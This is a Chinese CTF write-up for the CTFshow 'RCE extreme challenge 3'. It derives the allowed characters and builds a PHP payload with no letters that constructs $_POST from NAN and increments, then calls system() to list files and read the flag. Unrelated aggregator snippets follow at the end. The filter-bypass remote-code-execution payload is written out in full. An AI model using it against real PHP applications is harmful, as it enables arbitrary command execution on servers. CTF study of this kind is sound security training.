ctfshow 每周大挑战 RCE极限挑战3

news/2024/11/24 1:37:38/

目录

    • 题目源码
    • 1 跑一下正则
    • 2 分析解题用什么payload
    • 3 构造payload
      • 如何获取字母N
      • 构造出_POST及其他拼接内容
      • POST传参
    • 4 完整解题payload

题目源码

题目源码

1 跑一下正则

<?php
for($i=32;$i<127;$i++){if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){echo chr($i)." ";}
}
?>

结果:
找出没被过滤的字符
没被过滤的字符是:

$ ( ) + , . / 0 1 ; = [ ] _

2 分析解题用什么payload

挑战3相对于挑战2的区别主要在于两点,一是放出了数字0和1,同时,单引号被过滤了;二是对POST接收的参数ctf_show有了长度限制<=105
先回顾一下在挑战2中,我用的POST参数是:

ctf_show=$_=[]._;$_=$_['_'];$_++;$_++;$_++;$__=++$_;$_++;$__=++$_.$__;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$__.++$_;$_=_.$_;$$_[_]($$_[__]);

这个payload有157那么长,想要缩短到105以内好像不太现实,然后去看了其他师傅的wp,才知道原来这里不能再构造GET啦,而是要构造POST。
直觉上可能会觉得GET比POST短会用更少字符,但实际上,N可以通过类似于获取A的方法那样直接获得,而从N之后OPST都有,且离得近,因此POST更容易用更少的字符得到。[1]
[1]参考博客:

https://blog.csdn.net/qq_61955196/article/details/127932968?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22127932968%22%2C%22source%22%3A%22qq_38798840%22%7D&fromshare=blogdetail

[1]后来发现这段话可能最初是出自官方wp,贴个地址:

https://ctf-show.feishu.cn/docx/ToiJd70SboRn52xhn3WcJsfjnah

3 构造payload

如何获取字母N

类比挑战2中,通过利用php中[]的默认值是Array,再连接一个_构造出Array_,再取下标[0]获得A的思路,在挑战3中,通过执行0/0得到NAN,再连接一个_构造出NAN_,再取下标[0]获得N

$_=(0/0)._; //NAN_
$_=$_[0]; //N

忽略报错信息即可,可见这样可以得到N:
得到字母N

构造出_POST及其他拼接内容

有了N,接下来就用变量自增获得O、P、S、T再拼接_和其他符号构造可以接收POST参数并能执行函数(关于为什么这么说,可以看挑战2的wp末尾)的$_POST[0]($_POST[1]);即可。
先自己尝试写一下:

<?php
$_=(0/0)._;     //NaN_
$_=$_[0];       //N
$__=++$_;       //$__=O
$__=++$_.$__;   //$__=PO
$_++;$_++;      //Q、R
$__=$__.++$_;   //$__=POS
$__=$__.++$_;   //$__=POST
$_=_.$__;       //$_=_POST
echo $_;
?>

写完执行试一下,忽略报错信息,可见这样可以得到_POST
获得_POST
再拼接出$_POST[0]($_POST[1]);

$$_[0]($$_[1]);

不要漏掉分号 不要漏掉分号 不要漏掉分号

POST传参

因为是POST方式所以继续在后面给出参数0和1的值,例如:
&0=system&1=ls /
在HackBar执行了一下居然回显了根目录文件,看来长度也符合要求咯,看了一下不包含传参0和1的部分,payload长度为102

4 完整解题payload

最终payload:

ctf_show=$_=(0/0)._;$_=$_[0];$__=++$_;$__=++$_.$__;$_++;$_++;$__=$__.++$_;$__=$__.++$_;$_=_.$__;$$_[0]($$_[1]);&0=system&1=cat /f*

列出根目录文件:
回显出根目录文件
回显flag:
回显flag


http://www.ppmy.cn/news/102551.html

相关文章

OceanMind海睿思入选《2023中国企业数智化转型全景图中国数据智能产业图谱》

近日&#xff0c;国内知名大数据产业创新服务媒体数据猿携手上海大数据联盟发布了《2023中国企业数智化转型升级服务全景图/产业图谱》和《2023中国数据智能产业图谱》。 两份图谱系统梳理了中国数智化转型升级及数据智能行业发展现状和脉络&#xff0c;评选出极具商业合作价值…

【收藏】麻省理工:如何选择和设计论文的Figure?

论文中的图表以独有的方式组织信息&#xff0c;更好地传递作者思想。那么&#xff0c;如何选择和设计合适的Figure&#xff1f; MIT Communication Lab&#xff08;麻省理工学院通信实验室&#xff09;为作者提供了有效的建议&#xff0c;我们来学习一下 ~ 01 数据图 在制作数…

js复制文本内容

/*** js 复制方法封装&#xff0c;直接调用使用* param {*} text 需要复制的内容* returns */ export const copy (text)>{if(navigator.clipboard && window.isSecureContext){console.log(text);return navigator.clipboard.writeText(text)}else{// 判断是否支持…

【9 Vue全家桶 – Vuex状态管理】

1 什么是状态管理 其实是数据管理但是为了更好的指出是由于状态的变化导致数据的变化(响应式数据),我们称之为状态管理. 2 Vuex的状态管理 组件只能直接读取state,而不能直接修改state,必须通过mutation才能修改.(pinia可以直接读取和修改state) 3 Vuex的安装 npm install …

Swift的日常一些笔记

一&#xff1a;弹出框的自定义View&#xff0c;一个空白的view层&#xff0c;通过调用弹出此类 1.类文件DateSelectView import UIKitclass DateSelectView:UIView{var commonView:UIView?// var commonViewCloseBlock: (() -> Void)?let ALERTVIEW_HEIGHT UIScreen.ma…

Java中引用类型都有哪些

Java中对象的引用分为四种级别&#xff0c;这四种级别由高到低依次为&#xff1a;强引用、软引用、弱引用和虚引用。 强引用&#xff08;StrongReference&#xff09; 这个就不多说&#xff0c;我们写代码天天在用的就是强引用。如果一个对象被被人拥有强引用&#xff0c;那么…

缺少vcruntime140.dll如何修复?电脑小白也能学会修复vcruntime140.dll教程

Vcruntime140.dll是一个用于微软的Visual C软件的动态链接库文件&#xff0c;DLL的全称是动态连接库(Dynamic Link Library)&#xff0c;它是许多不同软件中所共用的文件类型。这个文件被广泛用作其他软件的依赖库&#xff08;dependency&#xff09;。每当您尝试运行一个应用程…

最近距离 | EXCEL中批量查找与原点最近距离的目标点

一 需求 企业送餐、物流、通勤、选址等经常会遇到这样的需求&#xff0c;仓储地是固定的&#xff0c;客户下单后由于客户的地址具有随机性&#xff0c;需按照地理位置分布结合仓储位置进行分析&#xff0c;按距离近及远合理分配仓储&#xff0c;以便节省配送成本。 本文就以这…